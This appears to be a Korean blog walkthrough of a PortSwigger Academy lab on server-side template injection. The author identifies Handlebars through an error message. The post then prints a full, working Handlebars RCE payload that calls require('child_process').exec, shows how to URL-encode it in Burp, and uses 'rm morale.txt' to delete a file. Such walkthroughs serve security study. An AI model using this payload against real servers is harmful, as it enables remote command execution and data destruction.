포스트

SSTI 실습(4) - Unknown template engine + documented exploit (PortSwigger Academy)

템플릿 엔진 식별 후 공개 exploit을 활용해 RCE를 수행하는 과정

SSTI 실습(4) - Unknown template engine + documented exploit (PortSwigger Academy)

Lab: Server-side template injection in an unknown language with a documented exploit

Lab Link: Server-side template injection in an unknown language with a documented exploit


개요

이 lab은 템플릿 엔진이 뭔지 모르는 상태에서 시작한다.

핵심은 두 가지다.

  • 템플릿 엔진 식별
  • 공개된 exploit 활용

이번 케이스는 직접 payload를 만드는게 아니라
이미 알려진 exploit을 찾아서 맞춰 쓰는 흐름이다.


문제 접근

1. 입력 포인트 확인

상품 상세 페이지를 보면
message 파라미터가 화면에 그대로 출력된다.

설명
설명

여기서 SSTI 테스트를 진행할 수 있다.


2. fuzzing으로 엔진 확인

일단 특수문자부터 넣어본다.

${{<%[%'"}}%\ 로 테스트 해볼 수도 있지만,

{{7*7}}부터 하나씩 테스트하는걸로 진행 해보겠다.

설명

/?messaage={{7*7}} 를 전송해주면
응답에 에러 메시지가 출력된다.

설명

에러 내용을 보면 사용되는 템플릿 엔진이 Handlebars라는걸 유추할 수 있다.


템플릿 엔진 검색 및 알려진 Exploit

설명

HackTricks를 참조 해보면, Hanlebars에 대한 documentation이 되어 있는걸 볼 수 있다. Exploit 을 위해 코드를 확인 해보자

설명

Exploit 작성

payload는 꽤 길지만, 구조만 보면 단순하다.

constructor 접근 → 함수 생성 → require 호출 → 명령 실행 순으로 진행 된다

최종적으로 code execution을 실행하는 부분은 중간에 있는 아래 코드다.

1
require("child_process").exec('whoami')

exec()안에 커맨드를 우리가 원하는 커맨드로 바꿔서 payload를 작성할 수 있다.


실제 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
wrtz{{#with "s" as |string|}}
    {{#with "e"}}
        {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
                {{this.pop}}
                {{this.push "return require('child_process').exec('whoami');"}}
                {{this.pop}}
                {{#each conslist}}
                    {{#with (string.sub.apply 0 codelist)}}
                        {{this}}
                    {{/with}}
                {{/each}}
            {{/with}}
        {{/with}}
    {{/with}}
{{/with}}


URL encoding

이 payload는 그대로 넣으면 깨지기 때문에,
전체를 URL encoding 해줘야 한다.

Burp Decoder, 해당 부분을 우클릭해서
Encode → URL → All characters로 처리하면 된다.

설명

위 요청에 대한 결과 값으로 우리가 원했던 "whoami"에 대한 커맨드는 반환을 하지 않는다.

설명

다만 서버측에서 반환을 하지 않아도 요청이 들어갈 수도 있는 상황이기 때문에,
삭제 요청만 따로 진행을 해보자.


최종 요청

1
/?message=...return require('child_process').exec('rm morale.txt')...

whoami 커맨드에서 rm morale.txt로 수정후에 URL Encoding을 해서 보낸다.

payload가 실행되면서
morale.txt 파일이 삭제, Lab이 마무리 된다.

결과를 리턴하지 않더라도 서버에서 payload가 실행된다는 점도 알아두면 좋을 것 같다. 다른 예제들과 마찬가지로 현재 디렉터리에 해당 파일이 있기에 실행이 가능했었다.
정확히 위치를 알고 삭제를 해야하는것 이었으면 해당 방법으로는 풀지 못했을 수도 있겠다.

이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.